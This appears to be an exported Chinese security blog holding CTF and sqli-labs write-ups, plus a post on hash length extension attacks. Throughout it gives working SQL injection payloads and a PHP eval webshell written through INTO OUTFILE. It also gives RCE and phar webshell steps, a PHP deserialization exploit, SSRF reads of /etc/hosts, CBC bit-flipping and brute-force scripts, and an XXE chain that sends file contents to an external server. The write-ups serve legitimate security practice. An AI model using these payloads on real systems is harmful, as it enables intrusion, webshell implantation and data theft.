username='admin2'),0x7e),1) %23 看了源码 在login.php中,他会先将参数放入数组,然后读取语句的时候取数组第一个值,对id[1]进行过滤。但是如果我们传入两个id=1&id=2,sql查询的时候会取第二个参数,这样就能绕过waf 1?id=1&id=-1' union select 1,2,3 %23 less-30上一题的盲注版本,脚本不写了 less-31和30题同解。。. less-32宽字节注入单引号前被加了反斜杠转义,无法正常闭合。但是如果使用了GBK编码,那么%df%5c会被认为是一个字,就可以使单引号逃逸。payload: 1http://127.0.0.1/sql/Less-32/?id=1%df%27 or updatexml(1,concat(0x7e,user(),0x7e),1)%23 less-33和上题一样 less-34依旧是宽字节: 1uname=1%df' or 1=1 %23&passwd=1&submit=Submit less-351http://127.0.0.1/sql/Less-35?id=1 or updatexml(1,concat(0x7e,user(),0x7e),1) %23 less-36还是宽字节 1http://127.0.0.1/sql/Less-36?id=1%df' or updatexml(1,concat(0x7e,user(),0x7e),1) %23 看了下源码,这几个题的不同就在于加反斜杠用了好几种不同的函数。 less-37依旧是 1uname=%df' or updatexml(1,concat(0x7e,(user()),0x7e),1)%23&passwd=1&submit=Submit less-38没看懂他的考点在哪,很轻易就注入成功 12?id=1' or 1=1 %23?id=-1' union select 1,2,database()%23","categories":[],"tags":[{"name":"web","slug":"web","permalink":"http://altman.vip/tags/web/"}]},{"title":"sqli-labs (less1-less22)","slug":"sqli-labs 1","date":"2018-02-04T16:00:00.000Z","updated":"2019-08-14T02:10:27.046Z","comments":true,"path":"2018/02/05/sqli-labs 1/","link":"","permalink":"http://altman.vip/2018/02/05/sqli-labs%201/","excerpt":"用sqlilabs来练练注入环境很好配置 网上很多教程","text":"用sqlilabs来练练注入环境很好配置 网上很多教程 less-1字符型 单引号闭合 1?id=1' or 1=1 %23 爆字段: 12?id=1' order by 3 %23?id=1' union select 1,2,3 %23 爆表名: 1?id=-1' union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1%23 爆列名: 1?id=-1' union select 1,2,column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 0,1%23 查看用户名密码: 1id=-1' union select 1,2,concat_ws(char(32,32,32),id,username,password) from users limit 0,1 %23 (后面只记录payload 暴库方法都差不多) less-2数字型 1?id=1 or 1=1%23 less-3字符型单引号变形查询语句 1Select login_name, select password from table where id= (‘id’) 用’)闭合 1?id=1') or 1=1 %23 less-41?id=1\") or 1=1 %23 less-5单引号报错注入 1?id=1'or 1=1 --+ payload 1?id=1' union select count(*),1, concat(' ',(select user()), ' ',floor(rand()*2)) as b from information_schema.tables group by b%23 试了试其他的报错: 123?id=1' or (extractvalue(1,concat(0x7e,(select user()),0x7e))) %23?id=1' or (updatexml(1,concat(0x7e,(select user()),0x7e),1))%23 都可以但是 1?id=1' or exp(~(select * from (select database())a))%23 这个语句在wamp环境下爆不出来在lamp下就可以 没研究懂为啥。。。 less-61?id=1\" or 1=1 %23 less-7导出文件GET字符型注入 这个需要先找到根目录@@datadir 读取数据库路径@@basedir MYSQL 获取安装路径然后把查询结果导入到一个文件里 比如把一句话木马导入到php文件里payload: 1id=1')) union select 1,'2','<?php @eval($_POST[\"a\"]);?>' into outfile 'E:\\\\wamp\\\\www\\\\sqli-labs\\\\a.php' %23 然后菜刀就OK less-8布尔盲注 1?id=1' and ascii(substr((select database()),1,1))=115 %23 //数据库第一位是s ascii码是115 找到payload后写个脚本跑就可以了 less-9单引号时间盲注 1?id=1' and if(ascii(substr(database(),1,1))=115,sleep(3),0 %23 less-10双引号时间盲注 1?id=1\" and if(ascii(substr(database(),1,1))=115,sleep(3),0) %23 less-111uname=Dhakkan' or '1'='1 less-121username=Dhakkan\") or (\"1\")=(\"1 less-131admin') or ('1')=('1 less-141admin\" or \"1\"=\"1 less-151admin' or 1=1# less-161admin\") or 1=1# less-17在password处报错注入 12uname=adminpasswd=' or (extractvalue(1,concat(0x7e,(select user()),0x7e))) %23 less-18这关看了半天源码才会 先查数据库找到用户名密码登陆进去回显: 1Your User Agent is: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:58.0) Gecko/20100101 Firefox/58.0 在UA头处进行注入 单引号尝试一下: 1You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '127.0.0.1', 'admin')' at line 1 然后试试报错注入 1User-Agent:'or (extractvalue(1,concat(0x7e,(select user()),0x7e))) or '1'='1 成功爆出用户名 剩下的就是常规操作了 less-19只是把注入点换到了Referer头中,其他的完全一样 less-20登录后看到重点是在cookie里,加入单引号后报错尝试: 1Cookie: uname='or (extractvalue(1,concat(0x7e,(select user()),0x7e))) or '1'='1 成功 其他的和上面一样 less-21只是在20题的基础上进行了base64编码 1Cookie: uname=dW5hbWU9J29yICAoZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCB1c2VyKCkpLDB4N2UpKSkgb3IgJzEnPScx less-2220题的基础上,将单引号变成双引号 1uname=dW5hbWU9Im9yICAoZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCB1c2VyKCkpLDB4N2UpKSkgb3IgIjEiPSIx less-23","categories":[],"tags":[{"name":"web","slug":"web","permalink":"http://altman.vip/tags/web/"}]},{"title":"hitctf-web","slug":"hitctf2018","date":"2018-02-02T16:00:00.000Z","updated":"2018-11-02T05:48:41.974Z","comments":true,"path":"2018/02/03/hitctf2018/","link":"","permalink":"http://altman.vip/2018/02/03/hitctf2018/","excerpt":"哈工大新生赛复现一波","text":"哈工大新生赛复现一波 PHPreading扫描目录发现源码备份index.php.bak 123<?php eval(base64_decode('JGZsYWc9JF9HRVRbJ2FzZGZnanh6a2FsbGdqODg1MiddO2lmKCRmbGFnPT0nSDFUY3RGMjAxOEV6Q1RGJyl7ZGllKCRmbGFnKTt9ZGllKCdlbW1tbScpOw=='))?> 解码后提交?asdfgjxzkallgj8852=H1TctF2018EzCTF拿到flag BabyEval给了源码 1http://120.24.215.80:10013/?str=${phpinfo()} 可以执行 那么久构造命令 12http://120.24.215.80:10013/?str=${system($_GET[a])}&a=lshttp://120.24.215.80:10013/?str=${system($_GET[a])}&a=cat%20../../../162920976d9c04ac69e2f4392a8cffbf_flag.txt 或者这样也行 1http://120.24.215.80:10013/?str=${var_dump(`ls`)} BabyLeakage提示在/news/about尝试debug随便输入一个/news/admin 发现报错 给了很多目录尝试/news/auth/ 居然发现了mysql账户密码。。。???3306连接进去找到了flag BabyInjection方法一给了源码 发现他的waf基本让人无处下手 123456789101112131415$query = \"SELECT * FROM users WHERE username='{$username}';\";echo $query.\"<br>\";$query = mysqli_query($conn, $query);if (mysqli_num_rows($query) == 1){ $result = mysqli_fetch_array($query); if ($result['passwd'] == $passwd){ die('you did it and this is your flag: '.$flag); } else{ die('Wrong password'); }}else{ die('Wrong username');} 只需要做到mysql根据username查询到的密码和我们的输入一样就可以了如果我们使用语句 1select * from users where id=1 group by passwd with rollup with rollup会产生一个passwd值为NULL的行我们可以根据这点让他返回passwd=NULL的那一行用’=’’绕过用户名 构造语句 1select * from users where username=''='' group by passwd with rollup limit 0,1 # 但是limit也不能用 我们可以用having最终payload 1select * from users where username=''='' group by passwd with rollup having passwd is NULL # PASSWD交空就行了。 PS:这里没有想明白 select * from users where username=’’=’’ 中 username=’’=’’ 的逻辑问题本地进行了一波研究 1select * from users where id=''='' 全表返回 1234select * from users where id='0'=''select * from users where id=''='0'select * from users where id=''=0select * from users where id=''='a' 都是全表返回查看官方文档 字符串在 = 下比较时会被转为int型可以参看PHP弱比较‘1asdas’会转为1‘asddsad’会转为0再看 1select * from users where id='1'='' 返回id=1之外的所有数据 那么可以猜想:第二个等号后的数据决定了 返回id值的数据 or 返回这个id值以外的数据。尝试 1234select * from users where id=''=1 // 无结果select * from users where id='1'=1 // 返回id=1select * from users where id='1'=ture//返回id=1select * from users where id='1'=false//返回id=1之外的所有 那么基本可以确定 id=1=0 中 0相当于后置参数它决定了返回的值,当语句仅为 id=1 时,其实默认了后置参数为1。 123select * from users where id=1select * from users where id=1=1//两个语句是相同的 那么可以构造一些万能密码 : 1234'=false'='''='asdasdas'... 方法二大佬博客看来的构造语句爆破密码 ORZ 123456789101112131415161718import requestsreq=requests.session()lists=\"0123456789abcdefghijklmnopqrstuvwxyz\"flag=''for i in range(50): url=\"http://182.254.247.127:2005/\" ok='' for s in lists: payload={\"username\":\"1'||passwd<'\"+flag+s+\"'=id#\",\"passwd\":\"\"} print payload r1=req.post(url,data=payload) if \"username\" in r1.text: ok=s else: flag+=ok print flag break post数据 12username=1'||passwd<'9989035e268342af1f40f26aad336623'=id#&passwd=9989035e268342af1f40f26aad336623 得到flag 小电影首页提示ffmpegffmpeg的漏洞http://www.freebuf.com/column/142775.htmlexp : https://github.com/neex/ffmpeg-avi-m3u-xbin利用脚本读文件 SecurePY根据提示 知道使用python写的在 python-web 应用中,当前目录下, .py文件生成的pyc文件会被存储在 pycache文件夹中,并以 .cpython-XX.pyc 为扩展名,其中的 XX 与 CPython 版本有关。比如app.py,其对应的 pyc文件路径为 pycache/app.cpython-XX.pyc爆破得到xx为35访问http://123.206.83.157:8000/__pycache__/app.cpython-35.pyc得到源码 123456789101112131415161718192021222324252627282930313233343536#!/usr/bin/env python# visit http://tool.lu/pyc/ for more informationfrom flask import Flask, request, jsonify, render_templatefrom Crypto.Cipher import AESfrom binascii import b2a_hex, a2b_heximport osapp = Flask(__name__)flag_key = os.environ['KEY']flag_enc = '9cf742955633f38d9c628bc9a9f98db042c6e4273a99944bc4cd150a0f7b9f317f52030329729ccf80798690667a0add'def index(): return render_template('index.html', flag_enc = flag_enc)index = app.route('/')(index)def getflag(): req = request.json if not req: return jsonify(result = False) if None not in req: return jsonify(result = False) key = req['key'] if len(key) != len(flag_key): return jsonify(result = False) for (x, y) in zip(key, flag_key): if ord(x) ^ ord(y): return jsonify(result = False) cryptor = AES.new(key, AES.MODE_CBC, b'0000000000000000') plain_text = cryptor.decrypt(a2b_hex(flag_enc)) flag = plain_text.decode('utf-8').strip() return jsonify(result = True, flag = flag)getflag = app.route('/getflag', methods = [ 'POST'])(getflag)if __name__ == '__main__': app.run() flag经过AES加密利用 1{\"key\":[null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null]} 逐字爆破 如果正确会响应500最后得到key:5ecur3pPYpyPYk3y提交后得到flag。 BabyWrite存在文件包含 尝试都源码 1http://120.24.215.80:10012/?page=php://filter/read=convert.base64-encode/resource=index 然后都login 1http://120.24.215.80:10012/?page=php://filter/read=convert.base64-encode/resource=login 然后按照方方土的方法 ORZ利用phar协议构造zip压缩包将一个txt文件和php木马打包在一起,由于上传过程中会被插入 => ,txt文件保护了php文件,使木马可以正常被解压;上传文件后POST指令到PHP文件的位置 1234POSTa=system('cat ../../../../d124abbe4cb6aa1621a8ca9519c0f5bf_flag.txt');到http://120.24.215.80:10012/?page=phar://./log/PK%03%04%0a.log/a 拿到flag BabyQuery抓包后看到查询语句 1query={ getscorebyid(id: \"GE======\"){ id name score } } ‘GE======’base32解码后是 1查询语句 1query={ getscorebyid(id: \"1\"){ id name score } } 改变结构后尝试注入 1{ getscorebyyourname(name: \"1' or 'a'='a\"){ name score } } 成功 这里数据库是sqlite构造语句 1{ getscorebyyourname(name: \"1' union select sqlite_version() --\"){ name score } } 成功返回版本信息暴表 11' union select (select name from sqlite_master where type='table' limit 1,1) -- 查表 11' union select (select flag from Secr3t_fl4g) -- ps:可以学习方方土学长写个脚本交互信息 方便很多附上脚本: 12345678910import base64import requestsurl=\"http://182.254.247.127:3001/graphql\"payload = base64.b32encode(\"1' union select (select flag from Secr3t_fl4g) --\")go = '{ getscorebyyourname(name: \"%s\"){ name score } }'%(payload)data = { \"query\" : go}r = requests.post(data=data,url=url)print r.content /…","categories":[],"tags":[{"name":"wp","slug":"wp","permalink":"http://altman.vip/tags/wp/"}]},{"title":"CUMTCTF2018","slug":"CUMTCTF2018","date":"2018-01-13T16:00:00.000Z","updated":"2018-11-02T05:49:20.359Z","comments":true,"path":"2018/01/14/CUMTCTF2018/","link":"","permalink":"http://altman.vip/2018/01/14/CUMTCTF2018/","excerpt":"第一次真正意义打比赛和队友一起AK了web题很舒服","text":"第一次真正意义打比赛和队友一起AK了web题很舒服 WEB签到1右键源代码 签到2扫描目录发现robots.txt 打开http://qiandao.bxsteam.xyz/robots.txt 发现flag pop首页面给了源码 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051<?php @error_reporting(1); class sky { protected $skyobj; function __construct() { $this->skyobj = new sec; } function __toString() { if (isset($this->skyobj)) return $this->skyobj->read(); } } class nosec { public $filename; function read() { $file = \"./{$this->filename}\"; if (file_get_contents($file)) { return file_get_contents($file); } else { return \"you must be joking!\"; } } } class sec { function read() { return \"it's so sec~~\"; } } if (isset($_GET['data'])) { $Input_data = unserialize($_GET['data']); echo $Input_data; } else { highlight_file(\"./index.php\"); } ?> 读代码可以想到我们的大致目标就是通过 调用__toString() 函数里的 1return $this->skyobj->read(); 调动read()函数,读文件找flag。大概原理就是上传的data参数在被反序列化的过程中调用_construct()函数,然后直接输出对象引用时调用__toString(),调动read()达到我们的目的。 直接贴代码 1234567891011121314151617181920212223242526272829303132333435<?phpclass sky{ protected $skyobj; function __construct() { $this->skyobj = new nosec(); } function __toString() { if (isset($this->skyobj)) return $this->skyobj->read(); }}class nosec{ public $filename='flag.php'; function read() { $file = \"./{$this->filename}\"; if (file_get_contents($file)) { return file_get_contents($file); } else { return \"you must be joking!\"; } }}$aa = new sky();$aa= urlencode(serialize($aa));echo $aa; $aa就是构造的data参数。(一定要转url编码!坑!) 把data POST上去flag就出来了。 what?php混淆,解就行了。。没啥说的 解出来的关键代码如下 12345678910$IIIIIIIIIIll = @$_GET['img_tet']; $IIIIIIIIIIll = htmlspecialchars($IIIIIIIIIIll); $IIIIIIIIIIll = str_replace('flag', \"\", $IIIIIIIIIIll);if ($IIIIIIIIIIll != \"\") { header('Content-Type: imgage/jpeg'); header('Content-Disposition: attachment; filename='.$IIIIIIIIIIll); header(Content-Lengh: .filesize($IIIIIIIIIIll)); $IIIIIIIIII11 = fopen($IIIIIIIIIIll, \"r\") or die(\"Unable to open file!\"); $IIIIIIIIIlIl = fread($IIIIIIIIII11, filesize($IIIIIIIIIIll)); fclose($IIIIIIIIII11); echo $IIIIIIIIIlIl;} 过滤了flag,用flflagag绕过。 最终payload: 1http://confuse.bxsteam.xyz?img_tet=%2f%74%6d%70%2f%66%6c%66%6c%61%67%61%67 rce先fuzz了一波,没发现怎么利用,提示换行后fuzz,还是不会。 最后发现了用uniq 和sort指令都能做出来 %0a换行,%09绕过空格。用通配符 ‘?’ 爆破文件这里直接贴上python脚本 123456789101112#! /usr/bin/python2.7import requestsimport urlliburl='http://rce.bxsteam.xyz/index.php'payload=urllib.unquote('%0auniq%09.%3f')for i in range(1,40): payload=urllib.unquote(urllib.quote(payload)+'%3f') data={ \"rce\":payload } r=requests.post(url=url,data=data) print r.content 其中把uniq换成sort也可以。 skysqlsky的sql是真的难。 刚开始想通过: 1?id=0'||(select user() like '%')||'0 构造 1 然后通配符逐字爆破。。结果发get不到列名。。就卡住了 提示用联合查询 ,union select 用 union all select select 1,2等价于 select * from ((select 1)A join (select 2)B) 构造出来payload 1?id=0' union all select * from ((select 1)A join (select 2)B)%23 但还是找不到列名,百度到大佬的博客讲不用列名的奇淫技巧。。http://www.blogsir.com.cn/safe/495.htmllimit(0,1) 用 limit 1 offset 0构造payload: 1?id=0' union all select * from ((select 1)A join (select F.1 from (select * from (select 1)C join (select 2)D join (select 3)E join (select 4)F union all select * from flag limit 1 offset 1)F)B)%23 F.n读取第n列 最终在第四列读到flag 1http://skysql.bxsteam.xyz/?id=0' union all select * from ((select 1)A join (select F.4 from (select * from (select 1)C join (select 2)D join (select 3)E join (select 4)F union all select * from flag limit 1 offset 1)F)B)%23 login首先发现源码http://cbc.bxsteam.xyz/login.php~分析后得知是CBC反转攻击。不懂看这里(http://zjw.dropsec.xyz/CTF/2017/04/24/CBC%E5%AD%97%E8%8A%82%E7%BF%BB%E8%BD%AC%E6%94%BB%E5%87%BB.html)不能直接用admin登陆,需要我们更改cipher和token以达到用admin登陆的目的。我们用1dmin和任意密码登陆 得到cipher和token的值这里进行CBC反转攻击,得到新的cipher和token值python脚本如下: 123456789101112131415161718# coding=utf-8import base64import urllibiv = base64.b64decode(\"cFvSSjVIp+Uh22ERLFjaUQ==\")plain = base64.b64decode(\"wPiTIz61Ge31LPnnlD1aym1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjE6IjEiO30=\")want = 'a:2:{s:8:\"userna'#print(want[0])first_16 = ''for i in range(16): print i,plain[i],iv[i],want[i] print chr(ord(plain[i]) ^ ord(iv[i]) ^ ord(want[i])) first_16 += chr(ord(plain[i]) ^ ord(iv[i]) ^ ord(want[i]))new_iv = first_16 + iv[16:]print(base64.b64encode(new_iv))print(first_16) 传入网页后成功跳转到amdin界面 1http://cbc.bxsteam.xyz/admin.php?url=http://skysec.top/ 默认访问了方方土的博客。。。。显然是SSRF我们直接读取host 1http://cbc.bxsteam.xyz/admin.php?url=File:///etc/hosts 得到ip:172.17.0.4访问 1cbc.bxsteam.xyz/admin.php?url=172.17.0.4 发现页面源码,明显的文件包含漏洞 直接读取flag.php 1http://cbc.bxsteam.xyz/admin.php?url=172.17.0.4/?file=php://filter/read=convert.base64-encode/resource=flag.php 得到base64后的flag.php,解码得到flag。 Xxexxe是什么 打开题目很清楚就是xxe 直接写题解了首先vps放文件file.dtd,内容如下: 12<!ENTITY % payl SYSTEM \"php://filter/read=convert.base64-encode/resource=file:///etc/hosts\"><!ENTITY % int \"<!ENTITY &#37; trick SYSTEM 'http://104.236.236.145/?p=%payl;'>\"> 漏洞处payload 1<!DOCTYPE convert [ <!ENTITY % remote SYSTEM \"http://104.236.236.145/file.dtd\">%remote;%int;%trick;]> 查看服务器log(nginx一般在var/log/nginx/access.log) 158.218.185.110 - - [14/Jan/2018:08:16:55 +0000] \"GET /?p=(省略一大串) HTTP/1.0\" 200 3 \"-\" \"-\" base64解码 12345678910127.0.0.1 localhost::1 localhost ip6-localhost ip6-loopbackfe00::0 ip6-localnetff00::0 ip6-mcastprefixff02::1 ip6-allnodesff02::2 ip6-allrouters172.17.0.6 flag 5e8af79b12ae xxessrf_flag_1172.17.0.6 flag_1 5e8af79b12ae xxessrf_flag_1172.17.0.6 xxessrf_flag_1 5e8af79b12ae172.17.0.7 74791d7ac29b 嗯????还有一层???接着继续读下index 123456789101112131415161718192021222324252627282930<!DOCTYPE html><html><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"> <title>XML</title> <link rel=\"stylesheet\" href=\"./bootstrap.min.css\"> <script src=\"./jquery.min.js\"></script> <script src=\"./bootstrap.min.js\"></script></head><body><form role=\"form\" id=\"form\" method=\"POST\" action=\"index.php\"> <div class=\"form-group\"> <label for=\"name\">XML</label> <textarea class=\"form-control\" rows=\"6\" name=\"data\" placeholder=\"<code> <body>Hello World!</body></code> \"></textarea> </div> <div class=\"btn-group\"> <button type=\"button\" class=\"btn btn-default\" onclick=\"document.getElementById('form').submit()\">SUBMIT</button> </div> <?php error_reporting(0); include(\"flag.php\"); if(isset($_POST['data']) and $_POST['data'] != \"\") { $xml = simplexml_load_string($_POST['data'], null, LIBXML_NOENT); } ?> </form> 哦??圈住include(“flag.php”),尝试直接读,没反应,想着也应该,还有提示SSRF至此,上午工作基本结束,剩下持续发呆直到下午……xxessrf???开始探测内网端口….从8080…..到2018…..嗯中途放弃了…..最后又拿了起来,在队友群又发一下hosts截图 你那个172.17.0.7是啥? …….docker,内网读取flag 12<!ENTITY % payl SYSTEM \"php://filter/read=convert.base64-encode/resource=http://172.17.0.6/?file=php://filter/read=convert.base64-encode/resource=flag.php\"><!ENTITY % int \"<!ENTITY &#37; trick SYSTEM 'http://104.236.236.145/?p=%payl;'>\"> 1UEQ5d2FIQWdDaTh2WldOb2J5QWlZM1Z0ZEdOMFpudENNV2x1TTE5NGVETmZZVzVrWDNOemNtWmZNWE5mUTI5dmJEOTlJanNLUHo0S0NnPT0= …","categories":[],"tags":[{"name":"wp","slug":"wp","permalink":"http://altman.vip/tags/wp/"}]},{"title":"哈希长度拓展攻击","slug":"hash长度扩展攻击","date":"2017-12-19T16:00:00.000Z","updated":"2018-11-02T05:49:02.387Z","comments":true,"path":"2017/12/20/hash长度扩展攻击/","link":"","permalink":"http://altman.vip/2017/12/20/hash%E9%95%BF%E5%BA%A6%E6%89%A9%E5%B1%95%E6%94%BB%E5%87%BB/","excerpt":"实验吧看到的题,之前觉得很难最近有空再做一次记录一下学习过程","text":"实验吧看到的题,之前觉得很难最近有空再做一次记录一下学习过程 0x01 hash函数原理网上有很多讲解,大概就是将明文分为n个区块,在进行多轮运算。大部分明文不能被区块长度整除,所以必须被padding至区块长度的整数倍。然后进行n次运算后得到密文。 0x02 攻击方式当key未知,key的位数已知,md5(key)已知。那么可以求出md5(key+”填充数据”+”任意数据”)。通过一道实验吧的题来理解。源码如下 12345678910111213141516171819202122232425262728293031$flag = \"XXXXXXXXXXXXXXXXXXXXXXX\";$secret = \"XXXXXXXXXXXXXXX\"; // This secret is 15 characters long for security!$username = $_POST[\"username\"];$password = $_POST[\"password\"];if (!empty($_COOKIE[\"getmein\"])) { if (urldecode($username) === \"admin\" && urldecode($password) != \"admin\") { if ($COOKIE[\"getmein\"] === md5($secret . urldecode($username . $password))) { echo \"Congratulations! You are a registered user.\\n\"; die (\"The flag is \". $flag); } else { die (\"Your cookies don't match up! STOP HACKING THIS SITE.\"); } } else { die (\"You are not an admin! LEAVE.\"); }}setcookie(\"sample-hash\", md5($secret . urldecode(\"admin\" . \"admin\")), time() + (60 * 60 * 24 * 7));if (empty($_COOKIE[\"source\"])) { setcookie(\"source\", 0, time() + (60 * 60 * 24 * 7));}else { if ($_COOKIE[\"source\"] != 0) { echo \"\"; // This source code is outputted here }} 要满足要求 1$COOKIE[\"getmein\"] === md5($secret . urldecode($username . $password)) 知道了$secret的位数,通过cookie得知md5($secret+admin)=571580b26c65f306376d4f64e53cb5c7。那么通过hash拓展攻击可以满足上面的要求。首先将$secret+admin填充至512bits,然后在加上任意数据例如altman得到新的值X,这里将X进行hash运算,分为两组进行两轮运算。第一组运算md5($secret+admin+填充值),会发现他与已知md5($secret+admin)相同,那么我们直接利用md5($secret+admin)得到第一轮运算结果。然后通过第一轮运算结果得到第二轮结果,这样我们就在不知道$secret值的情况下算出了md5($secret+admin+”填充值”+”任意数据”)。构造 123username=adminpassword=admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%c8%00%00%00%00%00%00%00altmancookie:getmein=10a4b3dc8626cb07d24bda61be701b9f 成功绕过了 1$COOKIE[\"getmein\"] === md5($secret . urldecode($username . $password)) 拿到flag /。 0x03 攻击脚本github有好几个攻击脚本,但是试了试感觉都太麻烦。发现github有个攻击工具很好用。HashPump简单说下安装(linux) 12345git clone https://github.com/bwall/HashPumpapt-get install g++ libssl-devcd HashPumpmakemake install 用起来很简单 12345# hashpumpInput Signature: 571580b26c65f306376d4f64e53cb5c7 //(已知的hash值)Input Data: adminInput Key Length: 20 //($secret 15位+admin 5位)Input Data to Add: altman //添加的任意数据 然后就会得到payload: 1210a4b3dc8626cb07d24bda61be701b9f //md5($secret+admin+passwd)admin\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00altman //构造的passwd 0x04 当无法获取密钥长度时只能通过脚本爆破了,正确的长度会返回不一样的报错信息。","categories":[],"tags":[{"name":"web","slug":"web","permalink":"http://altman.vip/tags/web/"}]}]}